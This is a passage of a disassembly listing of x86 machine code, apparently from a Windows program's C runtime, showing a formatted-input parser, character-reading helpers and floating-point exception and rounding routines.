; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D084 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D084, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D084, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D084, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D084, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D084, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D7F0, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDDC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D7F0, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call near ptr 26513DAh nop mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3E0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D3F0 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D3F0 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3E0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3E0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421DBA test esi, esi jnz short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword 